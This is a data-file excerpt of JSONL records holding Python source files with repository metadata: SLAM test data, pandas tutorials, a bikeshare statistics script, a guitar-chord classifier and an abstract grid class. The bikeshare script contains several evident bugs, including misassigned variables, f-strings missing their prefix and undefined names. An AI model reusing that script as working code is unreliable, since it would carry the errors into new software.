-23.17711662602097], [3, -31.81167947898398, -16.7985673023331]], [12.849049222879723, -15.326510824972983]], [[[1, 10.48157743234859, 5.692957082575485], [2, -22.31488473554935, -5.389184118551409], [3, -40.81803984305378, -2.4703329790238118]], [12.849049222879723, -15.326510824972983]], [[[0, 10.591050242096598, -39.2051798967113], [1, -3.5675572049297553, 22.849456408289125], [2, -38.39251065320351, 7.288990306029511]], [12.849049222879723, -15.326510824972983]], [[[0, -3.6225556479370766, -25.58006865235512]], [-7.8874682868419965, -18.379005523261092]], [[[0, 1.9784503557879374, -6.5025974151499]], [-7.8874682868419965, -18.379005523261092]], [[[0, 10.050665232782423, 11.026385307998742]], [-17.82919359778298, 9.062000642947142]], [[[0, 26.526838150174818, -0.22563393232425621], [4, -33.70303936886652, 2.880339841013677]], [-17.82919359778298, 9.062000642947142]]]\n\n##  Test Case 1\n##\n# Estimated Pose(s):\n#     [50.000, 50.000]\n#     [37.858, 33.921]\n#     [25.905, 18.268]\n#     [13.524, 2.224]\n#     [27.912, 16.886]\n#     [42.250, 30.994]\n#     [55.992, 44.886]\n#     [70.749, 59.867]\n#     [85.371, 75.230]\n#     [73.831, 92.354]\n#     [53.406, 96.465]\n#     [34.370, 100.134]\n#     [48.346, 83.952]\n#     [60.494, 68.338]\n#     [73.648, 53.082]\n#     [86.733, 38.197]\n#     [79.983, 20.324]\n#     [72.515, 2.837]\n#     [54.993, 13.221]\n#     [37.164, 22.283]\n\n\n# Estimated Landmarks:\n#     [82.679, 13.435]\n#     [70.417, 74.203]\n#     [36.688, 61.431]\n#     [18.705, 66.136]\n#     [20.437, 16.983]\n\n\n### Uncomment the following three lines for test case 1 and compare the output to the values above ###\n\n# mu_1 = slam(test_data1, 20, 5, 100.0, 2.0, 2.0)\n# poses, landmarks = get_poses_landmarks(mu_1, 20)\n# print_all(poses, landmarks)\n\n\n# In[ ]:\n\n\n# Here is the data and estimated outputs for test case 2\n\ntest_data2 = [[[[0, 26.543274387283322, -6.262538160312672], [3, 9.937396825799755, -9.128540360867689]], [18.92765331253674, -6.460955043986683]], [[[0, 7.706544739722961, -3.758467215445748], [1, 17.03954411948937, 31.705489938553438], [3, -11.61731288777497, -6.64964096716416]], [18.92765331253674, -6.460955043986683]], [[[0, -12.35130507136378, 2.585119104239249], [1, -2.563534536165313, 38.22159657838369], [3, -26.961236804740935, -0.4802312626141525]], [-11.167066095509824, 16.592065417497455]], [[[0, 1.4138633151721272, -13.912454837810632], [1, 8.087721200818589, 20.51845934354381], [3, -17.091723454402302, -16.521500551709707], [4, -7.414211721400232, 38.09191602674439]], [-11.167066095509824, 16.592065417497455]], [[[0, 12.886743222179561, -28.703968411636318], [1, 21.660953298391387, 3.4912891084614914], [3, -6.401401414569506, -32.321583037341625], [4, 5.034079343639034, 23.102207946092893]], [-11.167066095509824, 16.592065417497455]], [[[1, 31.126317672358578, -10.036784369535214], [2, -38.70878528420893, 7.4987265861424595], [4, 17.977218575473767, 6.150889254289742]], [-6.595520680493778, -18.88118393939265]], [[[1, 41.82460922922086, 7.847527392202475], [3, 15.711709540417502, -30.34633659912818]], [-6.595520680493778, -18.88118393939265]], [[[0, 40.18454208294434, -6.710999804403755], [3, 23.019508919299156, -10.12110867290604]], [-6.595520680493778, -18.88118393939265]], [[[3, 27.18579315312821, 8.067219022708391]], [-6.595520680493778, -18.88118393939265]], [[], [11.492663265706092, 16.36822198838621]], [[[3, 24.57154567653098, 13.461499960708197]], [11.492663265706092, 16.36822198838621]], [[[0, 31.61945290413707, 0.4272295085799329], [3, 16.97392299158991, -5.274596836133088]], [11.492663265706092, 16.36822198838621]], [[[0, 22.407381798735177, -18.03500068379259], [1, 29.642444125196995, 17.3794951934614], [3, 4.7969752441371645, -21.07505361639969], [4, 14.726069092569372, 32.75999422300078]], [11.492663265706092, 16.36822198838621]], [[[0, 10.705527984670137, -34.589764174299596], [1, 18.58772336795603, -0.20109708164787765], [3, -4.839806195049413, -39.92208742305105], [4, 4.18824810165454, 14.146847823548889]], [11.492663265706092, 16.36822198838621]], [[[1, 5.878492140223764, -19.955352450942357], [4, -7.059505455306587, -0.9740849280550585]], [19.628527845173146, 3.83678180657467]], [[[1, -11.150789592446378, -22.736641053247872], [4, -28.832815721158255, -3.9462962046291388]], [-19.841703647091965, 2.5113335861604362]], [[[1, 8.64427397916182, -20.286336970889053], [4, -5.036917727942285, -6.311739993868336]], [-5.946642674882207, -19.09548221169787]], [[[0, 7.151866679283043, -39.56103232616369], [1, 16.01535401373368, -3.780995345194027], [4, -3.04801331832137, 13.697362774960865]], [-5.946642674882207, -19.09548221169787]], [[[0, 12.872879480504395, -19.707592098123207], [1, 22.236710716903136, 16.331770792606406], [3, -4.841206109583004, -21.24604435851242], [4, 4.27111163223552, 32.25309748614184]], [-5.946642674882207, -19.09548221169787]]] \n\n\n##  Test Case 2\n##\n# Estimated Pose(s):\n#     [50.000, 50.000]\n#     [69.035, 45.061]\n#     [87.655, 38.971]\n#     [76.084, 55.541]\n#     [64.283, 71.684]\n#     [52.396, 87.887]\n#     [44.674, 68.948]\n#     [37.532, 49.680]\n#     [31.392, 30.893]\n#     [24.796, 12.012]\n#     [33.641, 26.440]\n#     [43.858, 43.560]\n#     [54.735, 60.659]\n#     [65.884, 77.791]\n#     [77.413, 94.554]\n#     [96.740, 98.020]\n#     [76.149, 99.586]\n#     [70.211, 80.580]\n#     [64.130, 61.270]\n#     [58.183, 42.175]\n\n\n# Estimated Landmarks:\n#     [76.777, 42.415]\n#     [85.109, 76.850]\n#     [13.687, 95.386]\n#     [59.488, 39.149]\n#     [69.283, 93.654]\n\n\n### Uncomment the following three lines for test case 2 and compare to the values above ###\n\nmu_2 = slam(test_data2, 13, 5, 100.0, 3.0, 3.0)\nposes, landmarks = get_poses_landmarks(mu_2, 13)\nprint_all(poses, landmarks)\n\n", "meta": {"hexsha": "389a192e1f8691fc1cd9553049cd5c051fe5e7c2", "size": 28437, "ext": "py", "lang": "Python", "max_stars_repo_path": "3. Landmark Detection and Tracking.py", "max_stars_repo_name": "laozhuang727/P3_Implement_SLAM", "max_stars_repo_head_hexsha": "dd474e7c1c870648b2e2a89ade7893c463330286", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "3. Landmark Detection and Tracking.py", "max_issues_repo_name": "laozhuang727/P3_Implement_SLAM", "max_issues_repo_head_hexsha": "dd474e7c1c870648b2e2a89ade7893c463330286", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "3. Landmark Detection and Tracking.py", "max_forks_repo_name": "laozhuang727/P3_Implement_SLAM", "max_forks_repo_head_hexsha": "dd474e7c1c870648b2e2a89ade7893c463330286", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 56.7604790419, "max_line_length": 3030, "alphanum_fraction": 0.7019376165, "include": true, "reason": "import numpy", "num_tokens": 8422, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.11436853674701283, "lm_q1q2_score": 0.055844257437847857}}
{"text": "import numpy as np\nimport pandas as pd\nprint('--- Join/Concat/Merge Dataframes ---')\nprint()\n\ndf1 = pd.DataFrame({\n'A': ['A0', 'A1', 'A2', 'A3'],\n'B': ['B0', 'B1', 'B2', 'B3'],\n'C': ['C0', 'C1', 'C2', 'C3'],\n'D': ['D0', 'D1', 'D2', 'D3']},\nindex=[0, 1, 2, 3])\n\ndf2 = pd.DataFrame({\n'A': ['A4', 'A5', 'A6', 'A7'],\n'B': ['B4', 'B5', 'B6', 'B7'],\n'C': ['C4', 'C5', 'C6', 'C7'],\n'D': ['D4', 'D5', 'D6', 'D7']},\nindex=[4, 5, 6, 7])\n\ndf3 = pd.DataFrame({\n'A': ['A8', 'A9', 'A10', 'A11'],\n'B': ['B8', 'B9', 'B10', 'B11'],\n'C': ['C8', 'C9', 'C10', 'C11'],\n'D': ['D8', 'D9', 'D10', 'D11']},\nindex=[8, 9, 10, 11])\n\nprint(df1)\nprint()\n\nprint(df2)\nprint()\n\nprint(df3)\nprint()\n\n# Concatenando por colunas\nprint('1. Concatenando dataframes axis=2')\nprint(pd.concat([df1, df2, df3], axis=0))\nprint()\n\n# Concatenando nas linhas\nprint('2. Concatenando dataframes axis=1')\nprint(pd.concat([df1, df2, df3], axis=1))\nprint()\n", "meta": {"hexsha": "46913ab317a8c1078a3d89961afb3a49a69f7dd2", "size": 905, "ext": "py", "lang": "Python", "max_stars_repo_path": "pandas/dataframe_join_concat_merge.py", "max_stars_repo_name": "augustoscher/python-excercises", "max_stars_repo_head_hexsha": "502fb3c15597033ba19e32f871be12d347a9aa2a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pandas/dataframe_join_concat_merge.py", "max_issues_repo_name": "augustoscher/python-excercises", "max_issues_repo_head_hexsha": "502fb3c15597033ba19e32f871be12d347a9aa2a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pandas/dataframe_join_concat_merge.py", "max_forks_repo_name": "augustoscher/python-excercises", "max_forks_repo_head_hexsha": "502fb3c15597033ba19e32f871be12d347a9aa2a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 20.1111111111, "max_line_length": 45, "alphanum_fraction": 0.5138121547, "include": true, "reason": "import numpy", "num_tokens": 395, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.11436852618181248, "lm_q1q2_score": 0.05584425227903596}}
{"text": "import time\r\nimport pandas as pd \r\nimport numpy as np\r\n\r\nCITY_DATA = { 'chicago': 'chicago.csv',\r\n              'new york city': 'new_york_city.csv',\r\n              'washington': 'washington.csv' }\r\n\r\ndef get_filters():\r\n    \"\"\"\r\n    Asks user to specify a city, month, and day to analyze.\r\n\r\n    Returns:\r\n        (str) city - name of the city to analyze\r\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\r\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\r\n    \"\"\"\r\n    print('Hello! Let\\'s explore some US bikeshare data!')\r\n    # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\r\n    city = input ('can you please choose a city from chicago, new york city, washington ')\r\n    while city not in (CITY_DATA.keys()):\r\n           print('please choose correct city name')\r\n           City = input ('can you please choose a city from chicago, new york city, washington ').lower()\r\n    # TO DO: get user input for month (all, january, february, ... , june)\r\n    while True:\r\n           month = input('can you please choose a  month from january to june, or type \"all\" to desplay all months :').lower()\r\n           months = ['january','february','march','april','may','june']\r\n           if month != \"all\" and month not in months:\r\n                  print(\"please choose correct Month\")\r\n           else:\r\n                   break\r\n    # TO DO: get user input for day of week (all, monday, tuesday, ... sunday)\r\n    while True:\r\n           day = input('can you please choose from days in the week, or type \"all\"  to desplay all days:' ).lower()\r\n           days = ['monday','tuesday','wednesday','thursday','friday','saturday','sunday']\r\n           \r\n           if day != 'all' and day not in days:\r\n                  print(\"please choose correct day\")\r\n           else:\r\n                   break\r\n    print('-'*40)\r\n    return city,month,day         \r\ncity, month, day = get_filters()                     \r\n     \r\ndef load_data(city, month, day):\r\n    \"\"\"\r\n    Loads data for the specified city and filters by month and day if applicable.\r\n\r\n    Args:\r\n        (str) city - name of the city to analyze\r\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\r\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\r\n    Returns:\r\n        df - Pandas DataFrame containing city data filtered by month and day\r\n    \"\"\" \r\n    #load data file into a dataframe\r\n    df = pd.read_csv(CITY_DATA[city])\r\n    #convert start time to datatime\r\n    df['start time'] = pd.to_datetime(df['start time'])\r\n    #extract month and day of week\r\n    df['month'] = df['start time'].dt.month\r\n    df['day_of_week'] = df['start time'].dt.day_name()\r\n    #filter\r\n    if month != \"all\":\r\n           months = ['january','february','march','april','may','june']\r\n           month = month.index(month) + 1\r\n     #creat new datafram for months\r\n    df = df[df['month'] == month]\r\n     #creat new datafram for day of week\r\n    if day != 'all':\r\n            df = df[df['day_of_week'] == day.title()]\r\n    return df\r\nload_data(city, month, day)\r\ndef time_stats(df):\r\n\r\n    \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\r\n\r\n    print('\\nCalculating The Most Frequent Times of Travel...\\n')\r\n    start_time = time.time()\r\n\r\n    # TO DO: display the most common month\r\n    months = ['january','february','march','april','may','june']\r\n    month = df [\"month\"].mode()[0]\r\n    print('most coommon month is: {months [month]}')\r\n    # TO DO: display the most common day of week\r\n    day = df[\"day_of_week\"].mode([0])\r\n    print('most coommon day of week is: {days [day]}')\r\n    # TO DO: display the most common start hour\r\n    df['hour'] = df['start time'].dt.hour\r\n    hour =df['hour'].mode(0)\r\n    print('most coommon day of week is: {days [day]}')\r\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\r\n    print('-'*40)\r\ntime_stats(df)\r\ndef station_stats(df):\r\n    \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\r\n    print('\\nCalculating The Most Popular Stations and Trip...\\n')\r\n    start_time = time.time()\r\n    # TO DO: display most commonly used start station\r\n    most_start_station = df['start station'].mode(0)\r\n    print('most coommon start station is: [most_start_station]')\r\n    # TO DO: display most frequent combination of start station and end station trip\r\n    most_trip = df['start station'] + ' , ' + df['end station'].mode(0)\r\n    print('most frequent combination of start station and end station trip is: [most_trip]')\r\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\r\n    print('-'*40)\r\nstation_stats(df)\r\n\r\ndef trip_duration_stats(df):\r\n    \"\"\"Displays statistics on the total and average trip duration.\"\"\"\r\n    print('\\nCalculating Trip Duration...\\n')\r\n    start_time = time.time()\r\n    # TO DO: display total travel time\r\n    total_time = df['Trip Duration'].sum()\r\n    print('total trave time:',total_time,'seconds, or',total_time/3600,'hour')\r\n    # TO DO: display mean travel time\r\n    mean_time = df['Trip Duration'].mean()\r\n    print('mean trave time:',mean_time,'seconds, or',mean_time/3600,'hour')\r\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\r\n    print('-'*40)\r\ntrip_duration_stats(df)\r\ndef user_stats(df):\r\n       \"\"\"Displays statistics on bikeshare users.\"\"\"\r\n       print('\\nCalculating User Stats...\\n')\r\n       start_time = time.time()\r\n       # TO DO: Display counts of user types\r\n       df = ['user type'].value_counts()\r\n       print('count of user typs:\\n')\r\n       # TO DO: Display counts of gender\r\n       df = ['grnder'].value_counts()\r\n       if 'Gender' in df:\r\n              print('count of gender:\\n')\r\n       # TO DO: Display earliest, most recent, and most common year of birth\r\n       year = df['birth year'].value_counts()\r\n       if 'birth year' in df:\r\n              print('earliset birth year is:{year.min()}\\nmost recent is: {year.max()}\\nand most common birth year is: (year.mode()[0]')\r\n              print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\r\n              print('-'*40)\r\nuser_stats(df)\r\n\r\n\r\ndef display_raw_data(df):\r\n       \"\"\"ask the user if he want to display the raw data and print 5 rows at time\"\"\"\r\n       raw = input('\\ndo you want to display raw data\\n')\r\n       if raw.lower() == \"yes\":\r\n              count = 0\r\n              while True:\r\n                     print(df.iloc[count: count+5])\r\n                     count += 5\r\n                     ask = input('next 5 raws?')\r\n                     if ask.lower() != 'yes': \r\n                            break\r\ndisplay_raw_data(df)       \r\ndef main():\r\n       while True:\r\n              display_raw_data(df)\r\n              city, month, day = get_filters()\r\n              df = load_data(city, month, day)\r\n              time_stats(df)\r\n              station_stats(df)\r\n              trip_duration_stats(df)\r\n              user_stats(df)\r\n              \r\n              restart = input('\\nWould you like to restart? Enter yes or no.\\n')\r\n              if restart.lower() != 'yes':\r\n                     break\r\n       if __name__ == \"__main__\":\r\n              main()\r\n       ", "meta": {"hexsha": "3b370fea70faf6e020bc4816cf7a9740ff6f96ff", "size": 7272, "ext": "py", "lang": "Python", "max_stars_repo_path": "bikeshare2.py", "max_stars_repo_name": "mohmedhelmy34/bikesare", "max_stars_repo_head_hexsha": "c542357e7b0bd9f0bf75707764649de983273bd0", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "bikeshare2.py", "max_issues_repo_name": "mohmedhelmy34/bikesare", "max_issues_repo_head_hexsha": "c542357e7b0bd9f0bf75707764649de983273bd0", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "bikeshare2.py", "max_forks_repo_name": "mohmedhelmy34/bikesare", "max_forks_repo_head_hexsha": "c542357e7b0bd9f0bf75707764649de983273bd0", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.0295857988, "max_line_length": 137, "alphanum_fraction": 0.5781078108, "include": true, "reason": "import numpy", "num_tokens": 1778, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.11436852316318395, "lm_q1q2_score": 0.05584425080508977}}
{"text": "import os\nimport tensorflow as tf\nimport keras\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nimport chords_imp\nimport data_set\nimport pyaudio\nimport wave\nimport HPCP\nfrom message import create_msg\nimport numpy as np\ncheckpoint_path = \"Desktop/dino/wts/cp.ckpt\"\nIPC_FIFO_NAME = \"Desktop/dino/ipc1\"\nfifo = os.open(IPC_FIFO_NAME, os.O_WRONLY)\ncheckpoint_dir = os.path.dirname(checkpoint_path)\ninputs = keras.Input(shape=(12,))\ndense = layers.Dense(1000, activation=\"relu\")\nx = dense(inputs)\nx = layers.Dropout(0.3)(x)\nx = layers.Dense(35, activation=\"relu\")(x)\noutputs = layers.Dense(len(chords_imp.chords))(x)\nmodel = keras.Model(inputs=inputs, outputs=outputs)\nmodel.load_weights(checkpoint_path)\nCHUNK = 1024\nFORMAT = pyaudio.paInt16\nCHANNELS = 1\nRATE = 44100\nRECORD_SECONDS = 0.1\nWAVE_OUTPUT_FILENAME = \"Desktop/dino/output.wav\"\nwhile True:\n    p = pyaudio.PyAudio()\n\n    stream = p.open(format=FORMAT,\n                channels=CHANNELS,\n                rate=RATE,\n                input=True,\n                frames_per_buffer=CHUNK)\n\n    #print(\"* recording\")\n\n    frames = []\n\n    for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):\n        data = stream.read(CHUNK)\n        frames.append(data)\n\n    #print(\"* done recording\")\n\n    stream.stop_stream()\n    stream.close()\n    p.terminate()\n\n    wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb')\n    wf.setnchannels(CHANNELS)\n    wf.setsampwidth(p.get_sample_size(FORMAT))\n    wf.setframerate(RATE)\n    wf.writeframes(b''.join(frames))\n    wf.close()\n    chroma = HPCP.hpcp(WAVE_OUTPUT_FILENAME, norm_frames=False, win_size=4096, hop_size=1024, output='numpy')\n    chroma = np.mean(chroma, axis=0)\n    chroma /= sum(chroma)\n    chroma = chroma.reshape((1,12))\n    #print(chroma.shape)\n    predictions = model.predict(chroma)\n    pred_class = np.argmax(predictions, axis=1)\n    #print(pred_class)\n    #print(\"predictions array:\", predictions)\n    content = f\"{pred_class[0]}\".encode(\"utf8\")\n    msg = create_msg(content)\n    os.write(fifo, msg)\nos.close(fifo)\n", "meta": {"hexsha": "142c38022bcfebf5757464dd54cba24ce9d5d805", "size": 2026, "ext": "py", "lang": "Python", "max_stars_repo_path": "predict.py", "max_stars_repo_name": "himank99/Dino-game-live-guitar-control", "max_stars_repo_head_hexsha": "7c40a7ceba4dbec56191245afa55db05f145a940", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "predict.py", "max_issues_repo_name": "himank99/Dino-game-live-guitar-control", "max_issues_repo_head_hexsha": "7c40a7ceba4dbec56191245afa55db05f145a940", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "predict.py", "max_forks_repo_name": "himank99/Dino-game-live-guitar-control", "max_forks_repo_head_hexsha": "7c40a7ceba4dbec56191245afa55db05f145a940", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.7534246575, "max_line_length": 109, "alphanum_fraction": 0.6920039487, "include": true, "reason": "import numpy", "num_tokens": 536, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.6654105454764747, "lm_q2_score": 0.08389038583798203, "lm_q1q2_score": 0.05582154740068355}}
{"text": "\r\n\"\"\" This module contains an abstract base class Grid\"\"\"\r\nfrom abc import ABC, abstractmethod\r\nimport numpy as np\r\nfrom bin.Field import Field\r\n\r\nclass Grid(ABC):\r\n    \"\"\" Abstract base class, never directly instantiated\r\n\r\n        AirfoilMap is a child class of this ABC\r\n    \"\"\"\r\n    # get number of vertices\r\n    @abstractmethod\r\n    def get_size(self):\r\n        pass\r\n\r\n    @abstractmethod\r\n    def get_geometry(self):\r\n        pass", "meta": {"hexsha": "f5c86567bbdbb57c80d8ea04ca947b9434dfe004", "size": 437, "ext": "py", "lang": "Python", "max_stars_repo_path": "bin/Grid.py", "max_stars_repo_name": "AlexT-L/RANS", "max_stars_repo_head_hexsha": "f4f477b30429e5028f9a0a53d59787f9f3821a00", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "bin/Grid.py", "max_issues_repo_name": "AlexT-L/RANS", "max_issues_repo_head_hexsha": "f4f477b30429e5028f9a0a53d59787f9f3821a00", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 10, "max_issues_repo_issues_event_min_datetime": "2021-11-12T19:39:44.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-20T19:45:09.000Z", "max_forks_repo_path": "bin/Grid.py", "max_forks_repo_name": "AlexT-L/RANS", "max_forks_repo_head_hexsha": "f4f477b30429e5028f9a0a53d59787f9f3821a00", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-03-23T02:26:34.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-23T02:26:34.000Z", "avg_line_length": 23.0, "max_line_length": 57, "alphanum_fraction": 0.6498855835, "include": true, "reason": "import numpy", "num_tokens": 91, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.12421300835205339, "lm_q1q2_score": 0.055820411058122466}}
{"text": "# -*- coding=utf-8 -*-\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime\nimport tushare as ts\nfrom dateutil.parser import parse\nfrom aqf.utils import tushare_util\n\n\"\"\"\n\u91d1\u878d\u65f6\u95f4\u5e8f\u5217\u6570\u636e\u5904\u7406\n\"\"\"\n\n\"\"\"\n1 python \u65f6\u95f4\u683c\u5f0f\u5904\u7406\n1.1 Datetime \u6570\u636e\u53ca\u8f6c\u6362\n1.2 \u65f6\u95f4\u8f6c\u5b57\u7b26\u4e32\n1.3 \u5b57\u7b26\u4e32\u8f6c\u65e5\u671f\n\"\"\"\n\"\"\"\n1.1 python \u4e0b\u7684\u65e5\u671f\u683c\u5f0f\u2014\u2014Datetime \u6570\u636e\u53ca\u8f6c\u6362\n\"\"\"\ndef python_data_trans():\n    now = datetime.now()  # datetime.datetime\n    print('{}\u6708{}\u6708{}\u65e5'.format(now.year, now.month, now.day))\n    print(datetime.now() - datetime(2017, 8, 19))\n\n\n\"\"\"\n1.2 python \u4e0b\u65f6\u95f4\u8f6c\u65e5\u671f\n\"\"\"\ndef time2str():\n    dt_time = datetime(2019, 6, 18)\n    # 1- str(datetime.datetime)\n    str_time1 = str(dt_time)\n    # 2- datetime.datetime.strftime('format')\n    str_time2 = dt_time.strftime('%d/%m/%Y')\n\n\n\"\"\"\n1.3 python \u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a datetime \u683c\u5f0f\n\"\"\"\ndef str2time():\n    dt_str1 = '2019-06-08'\n    # 1- datetime.strptime('str', 'format')\n    dt_time1 = datetime.strptime(dt_str1, '%Y-%m-%d')\n    dt_str2 = '01-06-2019'\n    # 2- parse \u4e0d\u9700\u8981\u6307\u5b9a\u89e3\u6790\u683c\u5f0f\u3002\n    dt_time2 = parse(dt_str2)\n    print(type(dt_time2))\n    print(dt_time2)\n\n\n\"\"\"\n2 pandas \u4e0b\u7684 time \u4f7f\u7528\n2.1 timestamp: pandas \u6700\u57fa\u672c\u7684\u65f6\u95f4\u683c\u5f0f\u662f TimeStamp\uff0c\u4f7f\u7528 .to_datetime() \u8f6c\u6362\u4e3a datetime\u3002\n2.2 DatetimeIndex: pandas \u4e0b\u7684\u65f6\u95f4\u7d22\u5f15\u683c\u5f0f\u3002\n2.3 Period: \u65f6\u671f\uff08period\uff09\u6307\u7684\u662f\u4e00\u6bb5\u65f6\u95f4\u3002\n\"\"\"\ndef pandas_time():\n    # 1- pd.to_datetime(pandas.core.series.Series)\uff0cSeries \u5411\u91cf\u5316\u5c06\u5b57\u7b26\u4e32\u8f6c\u4e3a datetime\u3002\n    str_time = pd.Series(['2017/06/18', '2017/06/19', '2017-06-20', '2017-06-21'], name='Course_time')\n    # print(type(str_time))\n    dt_time = pd.to_datetime(str_time)\n    # print(dt_time)\n\n    # 2- DatetimeIndex\n    # 2.1- \u4f7f\u7528 datetime \u683c\u5f0f\u521b\u5efa DatetimeIndex\n    dates1 = [datetime(2019, 8, 1), datetime(2019, 8, 2)]\n    dates1 = pd.DatetimeIndex(dates1)\n    # \u6b64\u5904\u9700\u6ce8\u610f\uff0cpython \u4e2d\u7684 datetime \u8f6c\u6362\u4e3a pandas(Series/DataFrame) \u4e0b\u7684\u65f6\u95f4\u7d22\u5f15 DatetimeIndex\uff1b\n    df = pd.Series(np.random.randn(2), index=dates1)\n    dates2 = pd.date_range('8/1/2019', periods=10)\n    df = pd.Series(np.random.randn(10), index=dates2)\n    # DataFrame \u4f7f\u7528 DatetimeIndex \u53ef\u4ee5\u4fbf\u6377\u9009\u53d6\u7279\u5b9a\u5e74\u3001\u6708\u3001\u65e5\n    # print(df['2019'])\n    # print(df['2019-08'])\n    # print(df['2019-08-01'])\n    # print(df.index)\n\n    # 2.2- \u5b57\u7b26\u4e32\u8f6c\u5316\u4e3a DatetimeIndex\n    date_time = pd.to_datetime(['June 18, 2017', '2016-06-19',\n                                '2016.6.20', None])\n    # print(date_time)\n\n    # 3- Period\n    # type \u4e3a pandas.core.indexes.period.PeriodIndex\n    time_period = pd.period_range('2017-01-01', periods=12, freq='M')\n    print(type(time_period))\n    # type \u4e3a pandas.core.indexes.datetimes.DatetimeIndex\n    date_range = pd.date_range('2017-01-01', periods=12, freq='M')\n    print(type(date_range))\n    # period\u5bf9\u8c61\u7684\u8d77\u59cb\u65f6\u95f4\u548c\u7ec8\u6b62\u65f6\u95f4\n    time_period + 1\n    # \u521b\u5efaPeriodIndex\n    period_index = pd.period_range('1/1/2017', '12/31/2017', freq='M')\n    # \u4ee5PeriodIndex\u4e3a\u7d22\u5f15\u521b\u5efaSeries\n    ps = pd.Series(np.random.randn(12), index=period_index)\n\n    # 4- \u5e94\u7528\n    data = ts.get_k_data('000001', '2018-01-01', '2109-06-06')\n    data.index = pd.to_datetime(data['date'])\n    del data['date']\n    data.head()\n    # 4.1- \u83b7\u53d6 DataFrame \u4fe1\u606f\n    data.info()\n    # 4.2- \u5207\u7247\n    data['2018-06-05':'2019-01-01']\n    data['2018-01':'2018-02-12']\n    data.loc['2018-01-04']\n    # \u5728 DataFrame \u4e0b\u53ef\u4f7f\u7528 DateTimeIndex \u53ef\u8fdb\u884c\u5e74\u3001\u6708\u8fdb\u884c\u7d22\u5f15\u3002\n    print(data['2018'])\n    print(data['2018-02'])\n    # DataFrame \u4e0d\u652f\u6301\u4e0b\u5217\u7d22\u5f15\n    print(data['2018-02-01'])\n\n\n\"\"\"\n3 \u65f6\u95f4\u5e8f\u5217\u6570\u636e\u5904\u7406\n3.1 \u65f6\u95f4\u6570\u636e\u7684\u805a\u5408\n3.2 \u65f6\u95f4\u6570\u636e\u7684\u9891\u7387\u8f6c\u6362\n3.3 \u6570\u636e\u9891\u7387\u8f6c\u6362\u5e94\u7528\n\"\"\"\ndef time_series_process():\n    # 1- \u65f6\u95f4\u5e8f\u5217\u6570\u636e\u524d\u540e\u79fb\u52a8\n    data = tushare_util.get_single_stock_data('000001', '2018-01-01', '2019-01-01')\n    close_price = data['close']\n    # \u83b7\u53d6\u524d\u4e00\u5929\u6536\u76d8\u4ef7 Series(pandas.core.series.Series)\n    previous_close_price = close_price.shift(1)\n    # \u8ba1\u7b97\u6536\u76d8\u4ef7\u767e\u5206\u6bd4\u3002\u4e24\u79cd\u65b9\u5f0f\uff1a1\uff0c\u4f7f\u7528 